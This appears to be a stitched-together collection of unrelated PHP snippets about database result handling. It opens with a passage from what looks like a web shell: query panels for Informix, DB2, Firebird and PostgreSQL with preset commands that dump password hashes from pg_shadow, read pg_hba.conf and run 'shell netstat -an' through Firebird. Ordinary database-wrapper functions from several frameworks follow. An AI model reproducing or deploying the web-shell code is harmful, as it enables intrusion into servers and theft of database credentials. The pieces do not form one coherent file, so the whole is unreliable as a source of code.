\treturn true; } </script> <textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br> <select onchange="return ifxFull(options[selectedIndex].value)"> \t<option value="0" selected>command</option> <option value="1">dbservername</option> <option value="1">databases</option> <option value="2">tables</option> <option value="3">columns</option> <option value="4">hashes</option> </select> <input type="hidden" name="action" value="ifxquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($ifxaction == 'ifxquery') { $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg()); $ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg()); $ifxrow = ifx_fetch_row($ifxresult); echo '<font face="verdana">'; echo '<table border="1" cellpadding="1" cellspacing="2">'; echo "\n<tr>\n"; for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) { echo '<td bgcolor="#228B22"><b>' . ifx_fieldproperties($ifxresult); echo "</b></td>\n"; } echo "</tr>\n"; mysql_data_seek($ifxresult, 0); while ($ifxrow = ifx_fetch_row($ifxresult)) { echo "<tr>\n"; for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) { echo '<td bgcolor="#B8B8E8">'; echo "{$ifxrow[$i]}"; echo '</td>'; } echo "</tr>\n"; } echo "</table>\n"; echo "</font>"; ifx_free_result($ifxresult); ifx_close(); } } elseif ($db == "db2") { $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost'; $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000'; $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : '******'; $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '******'; $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql'; $db2action = isset($_POST['action']) ? $_POST['action'] : ''; $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : ''; $db2query = stripslashes($db2query); print <<<END <form method="POST" name="db2form" action="?s=w&db=db2"> <div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px"> Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px"> User:<input type="text" name="db2user" value="{$db2user}" style="width:100px"> Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px"> Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br><br> <script language="javascript"> function db2Full(i){ \tStr = new Array(4); Str[0] = ""; \tStr[1] = "select schemaname from syscat.schemata;"; Str[2] = "select name from sysibm.systables;"; Str[3] = "select colname from syscat.columns where tabname='table_name';"; Str[4] = "db2 get db cfg for db_name;"; \tdb2form.db2sql.value = Str[i]; \treturn true; } </script> <textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br> <select onchange="return db2Full(options[selectedIndex].value)"> \t<option value="0" selected>command</option> <option value="1">databases</option> <option value="1">tables</option> <option value="2">columns</option> <option value="3">db config</option> </select> <input type="hidden" name="action" value="db2query"> <input class="bt" type="submit" value="Query"></div></form> END; if ($myaction == 'db2query') { //$db2string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$db2dbname;"."HOSTNAME=$db2host;PORT=$db2port;PROTOCOL=TCPIP;UID=$db2user;PWD=$db2pass;"; $db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg()); $db2result = db2_exec($db2link, $db2query) or die(db2_stmt_errormsg()); $db2row = db2_fetch_row($db2result); echo '<font face="verdana">'; echo '<table border="1" cellpadding="1" cellspacing="2">'; echo "\n<tr>\n"; for ($i = 0; $i < db2_num_fields($db2result); $i++) { echo '<td bgcolor="#228B22"><b>' . db2_field_name($db2result); echo "</b></td>\n"; } echo "</tr>\n"; while ($db2row = db2_fetch_row($db2result)) { echo "<tr>\n"; for ($i = 0; $i < db2_num_fields($db2result); $i++) { echo '<td bgcolor="#B8B8E8">'; echo "{$db2row[$i]}"; echo '</td>'; } echo "</tr>\n"; } echo "</table>\n"; echo "</font>"; db2_free_result($db2result); db2_close(); } } elseif ($db == "fb") { $fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost'; $fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : ''; $fbpath = str_replace("\\\\", "\\", $fbpath); $fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : '******'; $fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : '******'; $fbaction = isset($_POST['action']) ? $_POST['action'] : ''; $fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : ''; $fbquery = stripslashes($fbquery); print <<<END <form method="POST" name="fbform" action="?s=w&db=fb"> <div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px"> Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px"> User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px"> Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/> <script language="javascript"> function fbFull(i){ \tStr = new Array(5); Str[0] = ""; \tStr[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;"; Str[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';"; Str[3] = "input 'D:\\createtable.sql';"; Str[4] = "shell netstat -an;"; \tfbform.fbsql.value = Str[i]; \treturn true; } </script> <textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br> <select onchange="return fbFull(options[selectedIndex].value)"> \t<option value="0" selected>command</option> <option value="1">tables</option> <option value="2">columns</option> <option value="3">import sql</option> <option value="4">shell</option> </select> <input type="hidden" name="action" value="fbquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($fbaction == 'fbquery') { $fblink = ibase_connect($fbhost . ':' . $fbpath, $fbuser, $fbpass) or die(ibase_errmsg()); $fbresult = ibase_query($fblink, $fbquery) or die(ibase_errmsg()); echo '<font face="verdana">'; echo '<table border="1" cellpadding="1" cellspacing="2">'; echo "\n<tr>\n"; for ($i = 0; $i < ibase_num_fields($fbresult); $i++) { echo '<td bgcolor="#228B22"><b>' . ibase_field_info($fbresult, $i); echo "</b></td>\n"; } echo "</tr>\n"; ibase_field_info($fbresult, 0); while ($fbrow = ibase_fetch_row($fbresult)) { echo "<tr>\n"; for ($i = 0; $i < ibase_num_fields($fbresult); $i++) { echo '<td bgcolor="#B8B8E8">'; echo "{$fbrow[$i]}"; echo '</td>'; } echo "</tr>\n"; } echo "</table>\n"; echo "</font>"; ibase_free_result($fbresult); ibase_close(); } } else { $pghost = isset($_POST['pghost']) ? $_POST['pghost'] : 'localhost'; $pguser = isset($_POST['pguser']) ? $_POST['pguser'] : '******'; $pgpass = isset($_POST['pgpass']) ? $_POST['pgpass'] : ''; $pgdbname = isset($_POST['pgdbname']) ? $_POST['pgdbname'] : 'postgres'; $pgaction = isset($_POST['action']) ? $_POST['action'] : ''; $pgquery = isset($_POST['pgsql']) ? $_POST['pgsql'] : ''; $pgquery = stripslashes($pgquery); print <<<END <form method="POST" name="pgform" action="?s=w"> <div class="actall">Host:<input type="text" name="pghost" value="{$pghost}" style="width:100px;"> User:<input type="text" name="pguser" vaule="{$pguser}" style="width:100px"> Pass:<input tyoe="text" name="pgpass" value="{$pgpass}" style="width:100px"> Dbname:<input type="text" name="pgdbname" value="{$pgdbname}" style="width:100px"><br><br> <script language="javascript"> function pgFull(i){ \tStr = new Array(7); \tStr[0] = ""; Str[1] = "select version();"; Str[2] = "select datname from pg_database;"; Str[3] = "select relname from pg_stat_user_tables limit 1 offset n;"; Str[4] = "select column_name from information_schema.columns where table_name='xxx' limit 1 offset n;"; Str[5] = "select usename,passwd from pg_shadow;"; \tStr[6] = "select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));"; \tpgform.pgsql.value = Str[i]; \treturn true; } </script> <textarea name="pgsql" style="width:600px;height:200px;">{$pgquery}</textarea><br> <select onchange="return pgFull(options[selectedIndex].value)"> \t<option value="0" selected>command</option> <option value="1">version</option> <option value="2">databases</option> <option value="3">tables</option> <option value="4">columns</option> <option value="5">hashes</option> \t<option value="6">pg_hb.conf</option> </select> <input type="hidden" name="action" value="pgquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($pgaction == 'pgquery') { $pgconn = pg_connect("host={$pghost} dbname={$pgdbname} user={$pguser} password={$pgpass} ") or die('Could not connect: ' . pg_last_error()); $pgresult = pg_query($pgquery) or die('Query failed: ' . pg_last_error()); $pgrow = pg_fetch_row($pgresult); echo '<font face="verdana">'; echo '<table border="1" cellpadding="1" cellspacing="2">'; echo "\n<tr>\n"; for ($i = 0; $i < pg_num_fields($pgresult); $i++) { echo '<td bgcolor="#228B22"><b>' . pg_field_name($pgresult, $i); echo "</b></td>\n"; } echo "</tr>\n"; pg_result_seek($pgresult, 0); while ($pgrow = pg_fetch_row($pgresult)) { echo "<tr>\n"; for ($i = 0; $i < pg_num_fields($pgresult); $i++) { echo '<td bgcolor="#B8B8E8">'; echo "{$pgrow[$i]}"; echo '</td>'; } echo "</tr>\n"; } echo "</table>\n"; echo "</font>"; pg_free_result($pgresult); pg_close(); } } }
function DBfetch(&$cursor, $convertNulls = true) { global $DB; $result = false; if (!isset($DB['DB']) || empty($DB['DB']) || is_bool($cursor)) { return $result; } switch ($DB['TYPE']) { case ZBX_DB_MYSQL: if (!($result = mysql_fetch_assoc($cursor))) { mysql_free_result($cursor); } break; case ZBX_DB_POSTGRESQL: if (!($result = pg_fetch_assoc($cursor))) { pg_free_result($cursor); } break; case ZBX_DB_ORACLE: if (ocifetchinto($cursor, $row, OCI_ASSOC + OCI_RETURN_NULLS)) { $result = array(); foreach ($row as $key => $value) { $field_type = zbx_strtolower(oci_field_type($cursor, $key)); $value = str_in_array($field_type, array('varchar', 'varchar2', 'blob', 'clob')) && is_null($value) ? '' : $value; if (is_object($value) && zbx_stristr($field_type, 'lob') !== false) { $value = $value->load(); } $result[zbx_strtolower($key)] = $value; } } break; case ZBX_DB_DB2: if (!($result = db2_fetch_assoc($cursor))) { db2_free_result($cursor); } else { // cast all of the values to string to be consistent with other DB drivers: all of them return // only strings. foreach ($result as &$value) { if ($value !== null) { $value = (string) $value; } } unset($value); } break; case ZBX_DB_SQLITE3: if ($DB['TRANSACTIONS'] == 0) { lock_sqlite3_access(); } if (!($result = $cursor->fetchArray(SQLITE3_ASSOC))) { unset($cursor); } else { // cast all of the values to string to be consistent with other DB drivers: all of them return // only strings. foreach ($result as &$value) { $value = (string) $value; } unset($value); } if ($DB['TRANSACTIONS'] == 0) { unlock_sqlite3_access(); } break; } if ($convertNulls && $result) { foreach ($result as $key => $val) { if (is_null($val)) { $result[$key] = '0'; } } } return $result; }
/** * Disconnects from database. * * @return boolean True if the database could be disconnected, else false */ public function disconnect() { // TODO: Remove Error Suppression @db2_free_result($this->results); $this->connected = !@db2_close($this->connection); return !$this->connected; }
function dbi_free_result($res) { if ($res === true) { // Not needed for UPDATE, DELETE, etc return; } if (strcmp($GLOBALS['db_type'], 'mysql') == 0) { return mysql_free_result($res); } elseif (strcmp($GLOBALS['db_type'], 'mysqli') == 0) { return mysqli_free_result($res); } elseif (strcmp($GLOBALS['db_type'], 'mssql') == 0) { return mssql_free_result($res); } elseif (strcmp($GLOBALS['db_type'], 'oracle') == 0) { // Not supported. Ingore. if ($GLOBALS['oracle_statement'] >= 0) { OCIFreeStatement($GLOBALS['oracle_statement']); $GLOBALS['oracle_statement'] = -1; } } elseif (strcmp($GLOBALS['db_type'], 'postgresql') == 0) { return pg_freeresult($res); } elseif (strcmp($GLOBALS['db_type'], 'odbc') == 0) { return odbc_free_result($res); } elseif (strcmp($GLOBALS['db_type'], 'ibm_db2') == 0) { return db2_free_result($res); } elseif (strcmp($GLOBALS['db_type'], 'ibase') == 0) { return ibase_free_result($res); } elseif (strcmp($GLOBALS['db_type'], 'sqlite') == 0) { // Not supported } else { dbi_fatal_error('dbi_free_result (): ' . translate('db_type not defined.')); } }
function DBfetch(&$cursor) { global $DB; $result = false; if (isset($DB['DB']) && !empty($DB['DB'])) { switch ($DB['TYPE']) { case 'MYSQL': $result = mysql_fetch_assoc($cursor); if (!$result) { mysql_free_result($cursor); } break; case 'POSTGRESQL': $result = pg_fetch_assoc($cursor); if (!$result) { pg_free_result($cursor); } break; case 'ORACLE': if (ocifetchinto($cursor, $row, OCI_ASSOC + OCI_RETURN_NULLS)) { $result = array(); foreach ($row as $key => $value) { $field_type = zbx_strtolower(oci_field_type($cursor, $key)); $value = str_in_array($field_type, array('varchar', 'varchar2', 'blob', 'clob')) && is_null($value) ? '' : $value; if (is_object($value) && zbx_stristr($field_type, 'lob') !== false) { $value = $value->load(); } $result[zbx_strtolower($key)] = $value; } } break; case 'IBM_DB2': $result = db2_fetch_assoc($cursor); if (!$result) { db2_free_result($cursor); } break; case 'SQLITE3': if ($cursor) { $result = array_shift($cursor); if (is_null($result)) { $result = false; } } break; } } /* if($result === false){ switch($DB['TYPE']){ case 'MYSQL': mysql_free_result($cursor); break; case 'POSTGRESQL': pg_free_result($cursor); break; case 'ORACLE': oci_free_statement($cursor); break; } } //*/ return $result; }
/** * This function processes an SQL statement that will NOT return data. * * @access public * @override * @param string $sql the SQL statement * @throws Throwable_SQL_Exception indicates that the executed * statement failed * * @see http://www.php.net/manual/en/function.db2-exec.php * @see http://www.php.net/manual/en/function.db2-free-result.php */ public function execute($sql) { if (!$this->is_connected()) { throw new Throwable_SQL_Exception('Message: Failed to execute SQL statement. Reason: Unable to find connection.'); } $command = @db2_exec($this->resource, $sql); if ($command === FALSE) { throw new Throwable_SQL_Exception('Message: Failed to execute SQL statement. Reason: :reason', array(':reason' => @db2_stmt_errormsg($command))); } $this->sql = $sql; @db2_free_result($command); }
protected function freeDbResult($dbResult) { if (!empty($dbResult)) { db2_free_result($dbResult); } }
/** * Executes an SQL query * * @param string|fStatement $statement The statement to perform * @param fResult $result The result object for the query * @param array $params The parameters for prepared statements * @return void */ private function performQuery($statement, $result, $params) { $this->setErrorHandler(); $extra = NULL; if (is_object($statement)) { $statement->executeQuery($result, $params, $extra, $statement != $this->statement); } elseif ($this->extension == 'ibm_db2') { $extra = db2_exec($this->connection, $statement, array('cursor' => DB2_FORWARD_ONLY)); if (is_resource($extra)) { $rows = array(); while ($row = db2_fetch_assoc($extra)) { $rows[] = $row; } $result->setResult($rows); unset($rows); } else { $result->setResult($extra); } } elseif ($this->extension == 'mssql') { $result->setResult(mssql_query($result->getSQL(), $this->connection)); } elseif ($this->extension == 'mysql') { $result->setResult(mysql_query($result->getSQL(), $this->connection)); } elseif ($this->extension == 'mysqli') { $result->setResult(mysqli_query($this->connection, $result->getSQL())); } elseif ($this->extension == 'oci8') { $extra = oci_parse($this->connection, $result->getSQL()); if (oci_execute($extra, $this->inside_transaction ? OCI_DEFAULT : OCI_COMMIT_ON_SUCCESS)) { oci_fetch_all($extra, $rows, 0, -1, OCI_FETCHSTATEMENT_BY_ROW + OCI_ASSOC); $result->setResult($rows); unset($rows); } else { $result->setResult(FALSE); } } elseif ($this->extension == 'odbc') { $extra = odbc_exec($this->connection, $result->getSQL()); if (is_resource($extra)) { $rows = array(); // Allow up to 1MB of binary data odbc_longreadlen($extra, 1048576); odbc_binmode($extra, ODBC_BINMODE_CONVERT); while ($row = odbc_fetch_array($extra)) { $rows[] = $row; } $result->setResult($rows); unset($rows); } else { $result->setResult($extra); } } elseif ($this->extension == 'pgsql') { $result->setResult(pg_query($this->connection, $result->getSQL())); } elseif ($this->extension == 'sqlite') { $result->setResult(sqlite_query($this->connection, $result->getSQL(), SQLITE_ASSOC, $extra)); } elseif ($this->extension == 'sqlsrv') { $extra = sqlsrv_query($this->connection, $result->getSQL()); if (is_resource($extra)) { $rows = array(); while ($row = sqlsrv_fetch_array($extra, SQLSRV_FETCH_ASSOC)) { $rows[] = $row; } $result->setResult($rows); unset($rows); } else { $result->setResult($extra); } } elseif ($this->extension == 'pdo') { if (preg_match('#^\\s*CREATE(\\s+OR\\s+REPLACE)?\\s+TRIGGER#i', $result->getSQL())) { $this->connection->exec($result->getSQL()); $extra = FALSE; $returned_rows = array(); } else { $extra = $this->connection->query($result->getSQL()); $returned_rows = is_object($extra) ? $extra->fetchAll(PDO::FETCH_ASSOC) : $extra; // The pdo_pgsql driver likes to return empty rows equal to the number of affected rows for insert and deletes if ($this->type == 'postgresql' && $returned_rows && $returned_rows[0] == array()) { $returned_rows = array(); } } $result->setResult($returned_rows); } $this->statement = $statement; $this->restoreErrorHandler(); $this->checkForError($result, $extra); if ($this->extension == 'ibm_db2') { $this->setAffectedRows($result, $extra); if ($extra && !is_object($statement)) { db2_free_result($extra); } } elseif ($this->extension == 'pdo') { $this->setAffectedRows($result, $extra); if ($extra && !is_object($statement)) { $extra->closeCursor(); } } elseif ($this->extension == 'oci8') { $this->setAffectedRows($result, $extra); if ($extra && !is_object($statement)) { oci_free_statement($extra); } } elseif ($this->extension == 'odbc') { $this->setAffectedRows($result, $extra); if ($extra && !is_object($statement)) { odbc_free_result($extra); } } elseif ($this->extension == 'sqlsrv') { $this->setAffectedRows($result, $extra); if ($extra && !is_object($statement)) { sqlsrv_free_stmt($extra); } } else { $this->setAffectedRows($result, $extra); } $this->setReturnedRows($result); $this->handleAutoIncrementedValue($result, $extra); }
/** * Frees up the result object * * @internal * * @return void */ public function __destruct() { if (!is_resource($this->result) && !is_object($this->result)) { return; } // stdClass results are holders for prepared statements, so we don't // want to free them since it would break fStatement if ($this->result instanceof stdClass) { if ($this->extension == 'msyqli') { $this->result->statement->free_result(); } unset($this->result); return; } switch ($this->extension) { case 'ibm_db2': db2_free_result($this->result); break; case 'mssql': mssql_free_result($this->result); break; case 'mysql': mysql_free_result($this->result); break; case 'mysqli': mysqli_free_result($this->result); break; case 'oci8': oci_free_statement($this->result); break; case 'pgsql': pg_free_result($this->result); break; case 'sqlite': unset($this->result); break; case 'sqlsrv': sqlsrv_free_stmt($this->result); break; case 'pdo': $this->result->closeCursor(); break; } $this->result = NULL; }
/** * Executes an SQL query * * @param string|fStatement $statement The statement to perform * @param fResult $result The result object for the query * @param array $params The parameters for prepared statements * @return void */ private function performQuery($statement, $result, $params) { fCore::startErrorCapture(); $extra = NULL; if (is_object($statement)) { $statement->executeQuery($result, $params, $extra, $statement != $this->statement); } elseif ($this->extension == 'ibm_db2') { $extra = db2_exec($this->connection, $statement, array('cursor' => DB2_FORWARD_ONLY)); if (is_resource($extra)) { $rows = array(); while ($row = db2_fetch_assoc($extra)) { $rows[] = $row; } $result->setResult($rows); unset($rows); } else { $result->setResult($extra); } } elseif ($this->extension == 'mssql') { $result->setResult(mssql_query($result->getSQL(), $this->connection)); } elseif ($this->extension == 'mysql') { $result->setResult(mysql_query($result->getSQL(), $this->connection)); } elseif ($this->extension == 'mysqli') { $result->setResult(mysqli_query($this->connection, $result->getSQL())); } elseif ($this->extension == 'oci8') { $extra = oci_parse($this->connection, $result->getSQL()); if (oci_execute($extra, $this->inside_transaction ? OCI_DEFAULT : OCI_COMMIT_ON_SUCCESS)) { oci_fetch_all($extra, $rows, 0, -1, OCI_FETCHSTATEMENT_BY_ROW + OCI_ASSOC); $result->setResult($rows); unset($rows); } else { $result->setResult(FALSE); } } elseif ($this->extension == 'pgsql') { $result->setResult(pg_query($this->connection, $result->getSQL())); } elseif ($this->extension == 'sqlite') { $result->setResult(sqlite_query($this->connection, $result->getSQL(), SQLITE_ASSOC, $extra)); } elseif ($this->extension == 'sqlsrv') { $extra = sqlsrv_query($this->connection, $result->getSQL()); if (is_resource($extra)) { $rows = array(); while ($row = sqlsrv_fetch_array($extra, SQLSRV_FETCH_ASSOC)) { $rows[] = $row; } $result->setResult($rows); unset($rows); } else { $result->setResult($extra); } } elseif ($this->extension == 'pdo') { if (preg_match('#^\\s*CREATE(\\s+OR\\s+REPLACE)?\\s+TRIGGER#i', $result->getSQL())) { $this->connection->exec($result->getSQL()); $extra = FALSE; $returned_rows = array(); } else { $extra = $this->connection->query($result->getSQL()); if (is_object($extra)) { // This fixes a segfault issue with blobs and fetchAll() for pdo_ibm if ($this->type == 'db2') { $returned_rows = array(); $scanned_for_blobs = FALSE; $blob_columns = array(); while (($row = $extra->fetch(PDO::FETCH_ASSOC)) !== FALSE) { if (!$scanned_for_blobs) { foreach ($row as $key => $value) { if (is_resource($value)) { $blob_columns[] = $key; } } } foreach ($blob_columns as $blob_column) { $row[$blob_column] = stream_get_contents($row[$blob_column]); } $returned_rows[] = $row; } } else { $returned_rows = $extra->fetchAll(PDO::FETCH_ASSOC); } } else { $returned_rows = $extra; } // The pdo_pgsql driver likes to return empty rows equal to the number of affected rows for insert and deletes if ($this->type == 'postgresql' && $returned_rows && $returned_rows[0] == array()) { $returned_rows = array(); } } $result->setResult($returned_rows); } $this->statement = $statement; $this->handleErrors(fCore::stopErrorCapture()); $this->checkForError($result, $extra); if ($this->extension == 'ibm_db2') { $this->setAffectedRows($result, $extra); if ($extra && !is_object($statement)) { db2_free_result($extra); } } elseif ($this->extension == 'pdo') { $this->setAffectedRows($result, $extra); if ($extra && !is_object($statement)) { $extra->closeCursor(); } } elseif ($this->extension == 'oci8') { $this->setAffectedRows($result, $extra); if ($extra && !is_object($statement)) { oci_free_statement($extra); } } elseif ($this->extension == 'sqlsrv') { $this->setAffectedRows($result, $extra); if ($extra && !is_object($statement)) { sqlsrv_free_stmt($extra); } } else { $this->setAffectedRows($result, $extra); } $this->setReturnedRows($result); $this->handleAutoIncrementedValue($result, $extra); }
function dbFreeResult($result) { return db2_free_result($result); }